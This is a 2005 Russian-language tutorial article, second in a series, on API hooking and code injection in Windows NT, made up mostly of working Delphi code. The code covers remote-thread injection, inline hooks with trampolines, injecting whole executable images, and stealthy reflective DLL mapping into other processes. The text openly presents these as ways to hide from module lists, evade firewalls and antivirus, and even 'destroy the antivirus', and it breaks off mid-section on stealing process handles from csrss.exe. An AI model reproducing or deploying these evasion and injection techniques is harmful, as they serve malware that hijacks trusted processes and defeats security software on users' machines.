Техническая поддержка :

Современные решения

для защиты Windows программ

и восстановления исходного кода
Автор: Ms-Rem. Дата публикации: 16.05.2005

Перехват API функций в Windows NT (часть 2). Методы внедрения кода.

Требования к внедряемому коду:

1) Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
2) Независимость от RTL (Run Time Library).
3) Использование только библиотек загруженных в АП (адресное пространство) целевого процесса.
4) Наличие в внедряемом коде всех необходимых для него данных.

Внедряемый код не должен содержать переходов по абсолютным адресам, а также абсолютных ссылок на данные, импортировать функции из DLL можно динамически, через LoadLibrary и GetProcAddress.
Адреса функций из ntdll.dll и kernel32.dll можно передавать в внедряемый код из исходного процесса, т.к. эти библиотеки всегда загружаются по одинаковым адресам во всех процессах. Другие системные библиотеки (user32.dll, shell32.dll) тоже часто загружаются по одинаковым адресам, но так происходит только в том случае, если исходный и целевой процессы импортируют эти библиотеки статически, в случае же динамического импорта в следствии коллизии модулей они могут быть загружены по разным адресам. Все остальные библиотеки обычно загружаются по разным адресам в разных процессах даже при использовании статического импорта. При написании внедряемого кода следует учесть, что единственная DLL которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.
Компилятор Delphi обычно генерирует в процедурах короткие переходы (JMP SHORT), но при большом размере процедуры могут появиться переходы по абсолютным адресам, поэтому внедряемый код желательно писать используя короткие процедуры, используя как можно меньше условий и циклов.
В случае возникновения проблем с внедряемым кодом, необходимо воспользоваться отладчиком и убедиться в том, что сгенерированный код удовлетворяет вышеприведенным условиям.

Если писать внедряемый код на delphi, то в нем нельзя использовать объекты, строки типа string, а также любые другие типы данных опирающиеся на функциональность Delphi Run Time Library. Вместо string следует использовать PChar и динамически, с помощью VirtualAlloc выделять память под строку, либо хранить строку в стеке объявляя её в локальных переменных как array of Char.



Использование API из внедряемого кода:

Если внедряемый код использует функции экспортируемые библиотеками отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в АП целевого процесса, и при необходимости загрузить их.
Для загрузки библиотеки можно использовать функцию LdrLoadDll из ntdll.dll.

CODE NOW!
function LdrLoadDll(szcwPath: PWideChar;
pdwLdrErr: dword;
pUniModuleName: PUnicodeString;
pResultInstance: PDWORD): NTSTATUS;
stdcall; external ’ntdll.dll’;



Нас интересует параметр pUniModuleName представляющий из себя указатель на строку типа UnicodeString в которой передается имя загружаемой DLL. По указателю pResultInstance будет сохранен адрес MZ заголовка загруженной DLL (параметр hInstance).
Следующий код загружает DLL аналогично функции kernel32 LoadLibraryW:


CODE NOW!
Function MyLoadLibrary(lpLibFileName: PWideChar): HMODULE;
var
uName: TUnicodeString;
begin
RtlInitUnicodeString(@uName, lpLibFileName);
if (LdrLoadDll(nil, 0, @uName, @Result) > 0) then Result := 0;
RtlFreeUnicodeString(@uName);
end;



Для получения адреса функции чледует использовать LdrGetProcedureAddress.

CODE NOW!
function LdrGetProcedureAddress(hModule: dword;
dOrdinal: DWORD;
psName: PAnsiString;
ppProcedure: ppointer): NTStatus;
stdcall; external ’ntdll.dll’;



Если необходимо обеспечить максимальную скрытность перехвата, то вообще лучше использовать во внедряемом коде только функции Native API.



Внедрение процедуры в процесс:

Так как внедрение участков кода и связанных с ними данных требует большого количества однотипных операций, введем процедуры упрощающие программирование подобных вещей.

Процедура копирования участка памяти в процесс:


CODE NOW!
function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
end;




Эта процедура предельно проста, она принимает хэндл открытого процесса, указатель на данные в текущем процессе и размер данных, а возвращает указатель на данные в целевом процессе.

Внедрение процедуры в целевой процесс:


CODE NOW!
program InjectCode;

uses
Windows,
advApiHook;

type
TRemoteInfo = record
LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
GetProcAddress: function(hModule: HMODULE;
lpProcName: LPCSTR): FARPROC; stdcall;
Kernel32 : array[0..16] of Char;
User32 : array[0..16] of Char;
MessageBoxA : array[0..16] of Char;
nExitThread : array[0..16] of Char;
Text : array[0..16] of Char;
Title : array[0..16] of Char;
end;

{ Процедура внедряемая в процесс }
procedure RemoteThread(RemoteInfo: pointer); stdcall;
var
MessageBox: function(hWnd: HWND; lpText,
lpCaption: PChar; uType: UINT): Integer; stdcall;
ExitThread: procedure(uExitCode: UINT); stdcall;
begin
with TRemoteInfo(RemoteInfo^) do
begin
@MessageBox := GetProcAddress(LoadLibrary(User32), MessageBoxA);
@ExitThread := GetProcAddress(LoadLibrary(Kernel32), nExitThread);
MessageBox(0, Text, Title, 0);
ExitThread(0);
end;
end;
procedure RemoteThreadEnd; begin end; //метка конца кода

var
RemoteInfo: TRemoteInfo;
pInfo, CodeAdr: pointer;
TID: dword;
Process: dword;
StartInfo: TStartupInfo;
ProcInfo: TProcessInformation;

begin
//Запускаем процесс
ZeroMemory(@StartInfo, SizeOf(TStartupInfo));
StartInfo.cb := SizeOf(TStartupInfo);
CreateProcess(nil, ’notepad.exe’, nil, nil, False, 0,
nil, nil, StartInfo, ProcInfo);
Process := ProcInfo.hProcess;
//Заполняем структуру передаваемую внедряемому коду
lstrcpy(RemoteInfo.User32, ’user32.dll’);
lstrcpy(RemoteInfo.Kernel32, ’kernel32.dll’);
lstrcpy(RemoteInfo.MessageBoxA, ’MessageBoxA’);
lstrcpy(RemoteInfo.nExitThread, ’ExitThread’);
lstrcpy(RemoteInfo.Text, ’Hello World!’);
lstrcpy(RemoteInfo.Title, ’Injected MessageBox’);
//получаем адреса используемых API
@RemoteInfo.LoadLibrary := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’LoadLibraryA’);
@RemoteInfo.GetProcAddress := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’GetProcAddress’);
//копируем в процесс структуру с данными
pInfo := InjectMemory(Process, @RemoteInfo, SizeOf(TRemoteInfo));
//копируем в процесс внедряемый код
CodeAdr := InjectMemory(Process, @RemoteThread,
dword(@RemoteThreadEnd) - dword(@RemoteThread));
//запускаем внедренный код
CreateRemoteThread(Process, nil, 0, CodeAdr, pInfo, 0, TID);
end.




Перед внедрением кода процедуры, необходимо скопировать в память целевого процесса структуру с данными используемыми внедряемым кодом. В этой структуре необходимо передать адреса функций LoadLibary и GetProcAddress, через которые внедряемый код будет загружать используемые библиотеки и получать адреса используемых функций. Все используемые в коде строки также передаются через структуру, так как при записи строк в коде программы компилятор размещает их в секции данных, и генерирует ссылки на них по абсолютным адресам.

Для облегчения программирования подобных вещей введем еще одну процедуру:


CODE NOW!
function InjectThread(Process: dword; Thread: pointer; Info: pointer;
InfoLen: dword; Results: boolean): THandle;
var
pThread, pInfo: pointer;
BytesRead, TID: dword;
begin
pInfo := InjectMemory(Process, Info, InfoLen);
pThread := InjectMemory(Process, Thread, SizeOfProc(Thread));
Result := CreateRemoteThread(Process, nil, 0, pThread, pInfo, 0, TID);
if Results then
begin
WaitForSingleObject(Result, INFINITE);
ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
end;
end;




Эта процедура копирует в целевой процесс внедряемый код и структуру с данными для него, после чего запускает внедренный код.
Принимаемые параметры:
Process - хэндл открытого процесса.
Thread - указатель на внедряемый код в текущем процессе.
Info - указатель на структуру с данными.
InfoLen - размер структуры с данными.
Results - необходимость возврата результата. (если true, то функция ожидает завершения удаленного потока и копирует обратно структуру с данными) .

Для определения размера внедряемого кода используется функция SizeOfProc, которая приведена далее.


Совершенствуем метод перехвата:

В предыдущей статье был описан метод перехвата путем замены первых 5 байт перехватываемой функции своими, для вызова реальной (true) функции нужно было установить обратно замененные байты, а после вызова - снова установить перехват.
Недостаток этого метода в том, что в многопоточных приложениях в моменты снятия - установки перехвата возможен вызов функции другим потоком напрямую, или возникновение критической ошибки в случае прерывания потока в момент записи участка кода. Эти недостатки можно устранить останавливая и запуская побочные потоки приложения каждый раз при вызове true функции, но это приведет к значительному снижению производительности, либо даже к взаимным блокировкам потоков (например при перехвате WaitForSingleObject).
Для устранения недостатков этого метода, следует его немного модифицировать. Необходимо выделить в памяти буфер, и скопировать туда участок начала перехватываемой функции содержащий целое число команд и имеющий длину >= 5 байт, после чего в его конце поставить jmp на следующую команду перехватываемой функции после сохраненного участка. После чего сформированный таким образом код можно будет вызывать в качестве true функции.
Этот метод имеет все достоинства и лишен недостатков предыдущего. Он обеспечивает корректную работу в многопоточном приложении и быстрый вызов true функций. Написание кода перехватчиков в этом случае также значительно упрощается.

Все эти действия производит следующая функция:


CODE NOW!
{
Установка перехвата функции.
TargetProc - адрес перехватываемой функции,
NewProc - адрес функции замены,
OldProc - здесь будет сохранен адрес моста к старой функции.
}
function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;
var
Address: dword;
OldProtect: dword;
OldFunction: pointer;
Proc: pointer;
begin
Result := False;
try
Proc := TargetProc;
//вычисляем адрес относительного (jmp near) перехода на новую функцию
Address := dword(NewProc) - dword(Proc) - 5;
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
//создаем буффер для true функции
GetMem(OldFunction, 255);
//копируем первые 4 байта функции
dword(OldFunction^) := dword(Proc);
byte(pointer(dword(OldFunction) + 4)^) := SaveOldFunction(Proc, pointer(dword(OldFunction) + 5));
//byte(pointer(dword(OldFunction) + 4)^) - длина сохраненного участка
byte(Proc^) := $e9; //устанавливаем переход
dword(pointer(dword(Proc) + 1)^) := Address;
VirtualProtect(Proc, 5, OldProtect, OldProtect);
OldProc := pointer(dword(OldFunction) + 5);
except
Exit;
end;
Result := True;
end;



Для сохранения участка содержащего целое число команд используется функция SaveOldFunction:

CODE NOW!
function SaveOldFunction(Proc: pointer; Old: pointer): dword;
var
SaveSize, Size: dword;
Next: pointer;
begin
SaveSize := 0;
Next := Proc;
//сохраняем следующие несколько коротких, либо одну длинную инструкцию
while SaveSize < 5 do
begin
Size := SizeOfCode(Next);
Next := pointer(dword(Next) + Size);
Inc(SaveSize, Size);
end;
CopyMemory(Old, Proc, SaveSize);
//генерируем переход на следующую инструкцию после сохраненного участка
byte(pointer(dword(Old) + SaveSize)^) := $e9;
dword(pointer(dword(Old) + SaveSize + 1)^) := dword(Next) - dword(Old) - SaveSize - 5;
Result := SaveSize;
end;




Для снятия перехвата достаточно прочитать количество сохраненных байт и записать их обратно в начало перехватываемой функции.
Это делает следующий код:

CODE NOW!
{
Снятие перехвата установленного по HookCode,
OldProc - адрес моста возвращенный функцией HookCode.
}
function UnhookCode(OldProc: pointer): boolean;
var
OldProtect: dword;
Proc: pointer;
SaveSize: dword;
begin
Result := True;
try
Proc := pointer(dword(pointer(dword(OldProc) - 5)^));
SaveSize := byte(pointer(dword(OldProc) - 1)^);
VirtualProtect(Proc, 5, PAGE_EXECUTE_READWRITE, OldProtect);
CopyMemory(Proc, OldProc, SaveSize);
VirtualProtect(Proc, 5, OldProtect, OldProtect);
FreeMem(pointer(dword(OldProc) - 5));
except
Result := False;
end;
end;



Так как чаще всего приходиться перехватывать функции экспортируемые DLL, то для упрощения задачи введем еще одну функцию:


CODE NOW!
{
Установка перехвата функции из Dll в текущем процессе.
lpModuleName - имя модуля,
lpProcName - имя функции,
NewProc - адрес функции замены,
OldProc - здесь будет сохранен адрес моста к старой функции.
В случае отсутствия модуля в текущем АП, будет сделана попытка его загрузить.
}
function HookProc(lpModuleName, lpProcName: PChar;
NewProc: pointer; var OldProc: pointer): boolean;
var
hModule: dword;
fnAdr: pointer;
begin
Result := false;
hModule := GetModuleHandle(lpModuleName);
if hModule = 0 then hModule := LoadLibrary(lpModuleName);
if hModule = 0 then Exit;
fnAdr := GetProcAddress(hModule, lpProcName);
if fnAdr = nil then Exit;
Result := HookCode(fnAdr, NewProc, OldProc);
end;





Внедрение процесса целиком:

Рассмотренный здесь метод внедрения отдельных процедур кода непрост по причине необходимости четко разграничить код и данные и формировать их отдельно. Но можно сделать куда проще - внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код данные ресурсы и.т.д.) после чего запустить на выполнение и работать также, как и в своем процессе. Этот метод позволяет работать во внедряемом кода с RTL и применять обьектно ориентированное программирование, к тому же сам метод чрезвычайно прост для применения.
Для внедрения образа текущего процесса введем следующую функцию:


CODE NOW!
{
Внедрение образа текущего процесса в чужое адресное пространство.
EntryPoint - адрес точки входа внедренного кода.
}
function InjectThisExe(Process: dword; EntryPoint: pointer): boolean;
var
Module, NewModule: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
begin
Result := False;
Module := pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(pointer(integer(Module) +
PImageDosHeader(Module)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;




Она копирует полный образ исполнимого файла на диске в АП целевого процесса и запускает его выполнение в отдельном потоке с точки EntryPoint.

То же самое можно произвести и с любым другим образом исполнимого файла:

CODE NOW!
{
Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
Data - адрес образа файла в текущем процессе.
}
function InjectExe(Process: dword; Data: pointer): boolean;
var
Module, NewModule: pointer;
EntryPoint: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
Header: PImageOptionalHeader;
begin
Result := False;
Header := PImageOptionalHeader(pointer(integer(Data) +
PImageDosHeader(Data)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader)));
Size := Header^.SizeOfImage;
Module := pointer(Header^.ImageBase);
EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);

NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;




Приведем пример использования этого метода:

CODE NOW!
program InjectProcess;

{$IMAGEBASE $13140000}

uses
Windows,
advApiHook;

var
StartInf: TStartupInfo;
ProcInf: TProcessInformation;

function Main(dwEntryPoint: Pointer): dword; stdcall;
begin
LoadLibrary(’kernel32.dll’);
LoadLibrary(’user32.dll’);
MessageBox(0, ’Hello World’, ’Process Injection’, 0);
ExitThread(0);
end;

begin
//запускаем блокнот
ZeroMemory(@StartInf, SizeOf(TStartupInfo));
CreateProcess(nil, ’notepad.exe’, nil, nil, false,
0, nil, nil, StartInf, ProcInf);
//внедряем в него образ текущего процесса
InjectThisExe(ProcInf.hProcess, @Main);
end.




В этом коде следует обратить внимание на директиву {$IMAGEBASE $13140000}, она заставляем компилятор генерировать исполняемый образ с базой загрузки 13140000h. Адрес ImageBase следует выбирать таким, чтобы память в целевом процессе по этому адресу не была занята. Также перед тем, как использовать какие либо API вызовы из внедряемого кода, следует загрузить используемые DLL библиотеки с помощью LoadLibrary, так как в целевом процессе их может не оказаться.
Я думаю, вы уже заметили, что этот метод имеет одно единственное ограничение - это невозможность загрузки по адресу отличному от ImageBase. Если по этому адресу память в целевом процессе будет занята, то можно её освободить с помощью VirtualFree, но ни к чему хорошему это не приведет, так поступать можно только тогда, когда нужно полностью заменить целевой процесс, и перед этим необходимо остановить все его потоки. Тогда после загрузки исполняемого образа можно будет освободить всю связанную с заменяемым процессом память и уничтожить все его потоки. Также к недостаткам этого метода можно отнести необходимость загрузки библиотек используемых внедряемым процессом, а это значительно снижает скрытность перехвата.
Существует способ преодолеть привязку внедряемого процесса к ImageBase, для этого нужно заставить компилятор генерировать в исполнимом файле reloc секцию, а после загрузки образа по произвольному адресу настраивать релоки (процедура настройки релоков приведена далее).



Усовершенствованный метод DLL Injection:

Для перехвата API в другом процессе весьма удобен и эффективен метод внедрения в него своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут заругаться антивирусы и фаерволлы (например Outpost Fierwall) что тоже нежелательно.
Но существует метод позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не заругается фаерволл.

Следующий код копирует и настраивает DLL в выделенный участок чужого адресного пространства:


CODE NOW!
{
Отображение Dll на чужое адресное пространство, настройка импорта и релоков.
Process - хэндл процесса для отображения,
Dest - адрес отображения в процессе Process,
Src - адрес образа Dll в текущем процессе.
}
function MapLibrary(Process: dword; Dest, Src: pointer): TLibInfo;
var
ImageBase: pointer;
ImageBaseDelta: integer;
ImageNtHeaders: PImageNtHeaders;
PSections: ^TSections;
SectionLoop: integer;
SectionBase: pointer;
VirtualSectionSize, RawSectionSize: dword;
OldProtect: dword;
NewLibInfo: TLibInfo;

{ Настройка релоков }
procedure ProcessRelocs(PRelocs:PImageBaseRelocation);
var
PReloc: PImageBaseRelocation;
RelocsSize: dword;
Reloc: PWord;
ModCount: dword;
RelocLoop: dword;
begin
PReloc := PRelocs;
RelocsSize := ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
while dword(PReloc) - dword(PRelocs) < RelocsSize do
begin
ModCount := (PReloc.SizeOfBlock - Sizeof(PReloc^)) div 2;
Reloc := pointer(dword(PReloc) + sizeof(PReloc^));
for RelocLoop := 0 to ModCount - 1 do
begin
if Reloc^ and $f000 <> 0 then Inc(pdword(dword(ImageBase) +
PReloc.VirtualAddress +
(Reloc^ and $0fff))^, ImageBaseDelta);
Inc(Reloc);
end;
PReloc := pointer(Reloc);
end;
end;

{ Настройка импорта Dll в чужом процессе}
procedure ProcessImports(PImports: PImageImportDescriptor);
var
PImport: PImageImportDescriptor;
Import: pdword;
PImportedName: pchar;
ProcAddress: pointer;
PLibName: pchar;
ImportLoop: integer;

function IsImportByOrdinal(ImportDescriptor: dword): boolean;
begin
Result := (ImportDescriptor and IMAGE_ORDINAL_FLAG32) <> 0;
end;

begin
PImport := PImports;
while PImport.Name <> 0 do
begin
PLibName := pchar(dword(PImport.Name) + dword(ImageBase));
if not Find(NewLibInfo.LibsUsed, PLibName, ImportLoop) then
begin
InjectDll(Process, PLibName);
Add(NewLibInfo.LibsUsed, PLibName);
end;
if PImport.TimeDateStamp = 0 then
Import := pdword(pImport.FirstThunk + dword(ImageBase))
else
Import := pdword(pImport.OriginalFirstThunk + dword(ImageBase));

while Import^ <> 0 do
begin
if IsImportByOrdinal(Import^) then
ProcAddress := GetProcAddressEx(Process, PLibName, PChar(Import^ and $ffff), 4)
else
begin
PImportedName := pchar(Import^ + dword(ImageBase) + IMPORTED_NAME_OFFSET);
ProcAddress := GetProcAddressEx(Process, PLibName, PImportedName, Length(PImportedName));
end;
Ppointer(Import)^ := ProcAddress;
Inc(Import);
end;
Inc(PImport);
end;
end;

begin
ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
ImageBase := VirtualAlloc(Dest, ImageNtHeaders.OptionalHeader.SizeOfImage,
MEM_RESERVE, PAGE_NOACCESS);

ImageBaseDelta := dword(ImageBase) - ImageNtHeaders.OptionalHeader.ImageBase;
SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
MEM_COMMIT, PAGE_READWRITE);
Move(Src^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
VirtualProtect(SectionBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders,
PAGE_READONLY, OldProtect);
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) +
ImageNtHeaders.FileHeader.SizeOfOptionalHeader);

for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
RawSectionSize := PSections[SectionLoop].SizeOfRawData;
if VirtualSectionSize < RawSectionSize then
begin
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
RawSectionSize := VirtualSectionSize xor RawSectionSize;
VirtualSectionSize := VirtualSectionSize xor RawSectionSize;
end;
SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress +
pchar(ImageBase), VirtualSectionSize,
MEM_COMMIT, PAGE_READWRITE);
FillChar(SectionBase^, VirtualSectionSize, 0);
Move((pchar(src) + PSections[SectionLoop].pointerToRawData)^,
SectionBase^, RawSectionSize);
end;
NewLibInfo.DllProcAddress := pointer(ImageNtHeaders.OptionalHeader.AddressOfEntryPoint +
dword(ImageBase));
NewLibInfo.DllProc := TDllEntryProc(NewLibInfo.DllProcAddress);

NewLibInfo.ImageBase := ImageBase;
NewLibInfo.ImageSize := ImageNtHeaders.OptionalHeader.SizeOfImage;
SetLength(NewLibInfo.LibsUsed, 0);
if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0
then ProcessRelocs(pointer(ImageNtHeaders.OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
VirtualAddress + dword(ImageBase)));

if ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress <> 0
then ProcessImports(pointer(ImageNtHeaders.OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress + dword(ImageBase)));

for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
VirtualProtect(PSections[SectionLoop].VirtualAddress + pchar(ImageBase),
PSections[SectionLoop].Misc.VirtualSize,
GetSectionProtection(PSections[SectionLoop].Characteristics),
OldProtect);
Result := NewLibInfo;
end;



Теперь для внедрения DLL в целевой процесс этим способом можно использовать следующую функцию:


CODE NOW!
{
Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
}
function InjectDllEx(Process: dword; Src: pointer): boolean;
type
TDllLoadInfo = packed record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
BytesWritten: dword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: dword;
DllLoadInfo: TDllLoadInfo;
hThread: dword;

{ процедура передачи управления на точку входа dll }
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;

begin
Result := False;
ImageNtHeaders := pointer(dword(Src) + dword(PImageDosHeader(Src)._lfanew));
Offset := $10000000;
repeat
Inc(Offset, $10000);
pModule := VirtualAlloc(pointer(ImageNtHeaders.OptionalHeader.ImageBase + Offset),
ImageNtHeaders.OptionalHeader.SizeOfImage,
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
VirtualFree(pModule, 0, MEM_RELEASE);
pModule := VirtualAllocEx(Process, pointer(ImageNtHeaders.OptionalHeader.
ImageBase + Offset),
ImageNtHeaders.OptionalHeader.
SizeOfImage,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
end;
until ((pModule <> nil) or (Offset > $30000000));
Lib := MapLibrary(Process, pModule, Src);
if Lib.ImageBase = nil then Exit;
DllLoadInfo.Module := Lib.ImageBase;
DllLoadInfo.EntryPoint := Lib.DllProcAddress;
WriteProcessMemory(Process, pModule, Lib.ImageBase, Lib.ImageSize, BytesWritten);
hThread := InjectThread(Process, @DllEntryPoint, @DllLoadInfo,
SizeOf(TDllLoadInfo), False);
if hThread <> 0 then Result := True
end;




В приведенном коде, как вы наверное заметили используется функция GetProcAddressEx для получения адреса API в целевом процессе.
Эта задача также выполняется с помощью внедрения кода и создания удаленных потоков.
Вот полный код этой функции:


CODE NOW!
{ Получение адреса API в чужом адресном пространстве }
function GetProcAddressEx(Process: dword; lpModuleName,
lpProcName: pchar; dwProcLen: dword): pointer;
type
TGetProcAddrExInfo = record
pExitThread: pointer;
pGetProcAddress: pointer;
pGetModuleHandle: pointer;
lpModuleName: pointer;
lpProcName: pointer;
end;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
ExitCode: dword;
hThread: dword;

procedure GetProcAddrExThread(lpParameter: pointer); stdcall;
var
GetProcAddrExInfo: TGetProcAddrExInfo;
begin
GetProcAddrExInfo := TGetProcAddrExInfo(lpParameter^);
asm
push GetProcAddrExInfo.lpModuleName
call GetProcAddrExInfo.pGetModuleHandle
push GetProcAddrExInfo.lpProcName
push eax
call GetProcAddrExInfo.pGetProcAddress
push eax
call GetProcAddrExInfo.pExitThread
end;
end;

begin
Result := nil;
GetProcAddrExInfo.pGetModuleHandle := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’GetModuleHandleA’);
GetProcAddrExInfo.pGetProcAddress := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’GetProcAddress’);
GetProcAddrExInfo.pExitThread := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’ExitThread’);
if dwProcLen = 4 then GetProcAddrExInfo.lpProcName := lpProcName else
GetProcAddrExInfo.lpProcName := InjectMemory(Process, lpProcName, dwProcLen);

GetProcAddrExInfo.lpModuleName := InjectString(Process, lpModuleName);
hThread := InjectThread(Process, @GetProcAddrExThread, @GetProcAddrExInfo,
SizeOf(GetProcAddrExInfo), False);

if hThread <> 0 then
begin
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, ExitCode);
Result := pointer(ExitCode);
end;
end;




Эта функция используется при заполнении таблицы импорта внедряемой библиотеки адресами API.

Вышеприведенный метод весьма перспективен, но имеет одно ограничение: ни в самой виртуальной dll, ни в в самой программе по отношению к этой dll нельзя использовать API функции с параметром hModule - система не считает загруженную таким образом DLL за нормальную DLL, поэтому функции будут просто возвращать код ошибки. К примеру нельзя использовать стандартную GetProcAddress для получения адресов функций в этой DLL и нельзя использовать LoadResource из самой DLL.
По этой же причине импортировать функции такая DLL может только из модулей загруженных стандартными средствами.



Анализ кода:

Как вы уже заметили, в процедурах перехвата API и внедрения кода используются функции SizeOfCode и SizeOfProc.
Функция SizeOfCode возвращает размер комманды по указателю (вместе с операндами), а функция SizeOfProc возвращает размер процедуры (участка кода от переданной точки входа до первой встреченной команды RET).
Самая сложная часть в данном методе - это анализ опкода инструкции. Для этого используется поиск по таблице опкодов, и определяется размер комманды и идущих с ней операндов.
Код функции SizeOfCode я здесь приводить не буду, так как он имеет немалый размер, к тому же пришлось бы также описывать и основы дизассемблирования, поэтому код этой функции вы можете скачать в приложении к статье.
Функция SizeOfProc устроена очень просто, и поэтому я приведу здесь её код:


CODE NOW!
{ Получение размера функции по указател на нее (размер до первой комманды RET) }
function SizeOfProc(Proc: pointer): dword;
var
Length: dword;
begin
Result := 0;
repeat
Length := SizeOfCode(Proc);
Inc(Result, Length);
if ((Length = 1) and (byte(Proc^) = $C3)) then Break;
Proc := pointer(dword(Proc) + Length);
until Length = 0;
end;



Принцип работы этой функции - это просмотр команд анализируемого кода до встречи инструкции C3 (RET).

Открытие процесса. (способы получения хэндлов)

Для того чтобы установить перехват API в чужом процессе, нам необходимо каким-либо образом получить его хэндл. Наиболее просто это сделать с помощью API функции OpenProcess. Способ этот простой и универсальный, но подходит он не во всех случаях.
Например, нам необходимо обойти персональный фаерволл, и для этого способ внедрения кода в приложение, которому разрешен доступ к сети, но современные фаерволлы умеют отлавливать подобные попытки, например O utpost Fierwall Pro при обнаружении внедрения кода сразу же заблокирует сетевой доступ измененного приложения и известит об этом пользователя. Существуют также программы пресекающие попытки получить доступ к своей памяти (например антивирус К асперского). Но если немного пораскинуть мозгами, то можно придумать другие способы получения хэндла процесса, нежели OpenProcess.
Для обхода фаерволла вполне пригоден способ запуска доверенного приложения с помощью CreateProcess, функция возвращает в структуре _PROCESS_INFORMATION хэндл созданного процесса с правами доступа PROCESS_ALL_ACCESS, после чего можно производить над запущенным процессом любые действия.
Но если возникнет необходимость внедрения кода в запущенные процессы (например для установки глобального перехвата API, или для уничтожения антивируса) то придется придумывать что-нибудь новое.

Кратко рассмотрим запуск процесса в Windows NT:
1) Открытие исполняемого файла.
2) Создание секции (ZwCreateSection).
3) Создание обьекта процесса (ZwCreateProcess или ZwCreateProcessEx в Windows XP).
4) Создание окружения процесса (RtlCreateProcessParameters).
5) Создание главной нити процесса (ZwCreateThread).
6) Информирование сервера подсистемы о создании нового процесса (CsrClientCallServer).
7) Запуск главной нити нового процесса (ZwResumeThread).

Для нас важно то, что на шаге 6 происходит информирование сервера подсистемы о создании нового процесса, так как при этом происходит копирование хэндла созданного процесса в таблицу хэндлов сервера подсистемы. Итак, процесс csrss.exe всегда имеет хэндлы всех запущенных в данный момент процессов. Идея состоит в том, что можно скопировать хэндл нужного нам процесса в свою таблицу хэндлов, после чего использовать его для операций с памятью этого процесса.
Копирование хэндлов выполняет функция Kernel32! DuplicateHandle:


CODE NOW!
function DuplicateHandle(hSourceProcessHandle, hSourceHandle,
hTargetProcessHandle: THandle;
lpTargetHandle: PHandle; dwDesiredAccess: DWORD;
bInheritHandle: BOOL; dwOptions: DWORD): BOOL; stdcall;



Принимаемые параметры:
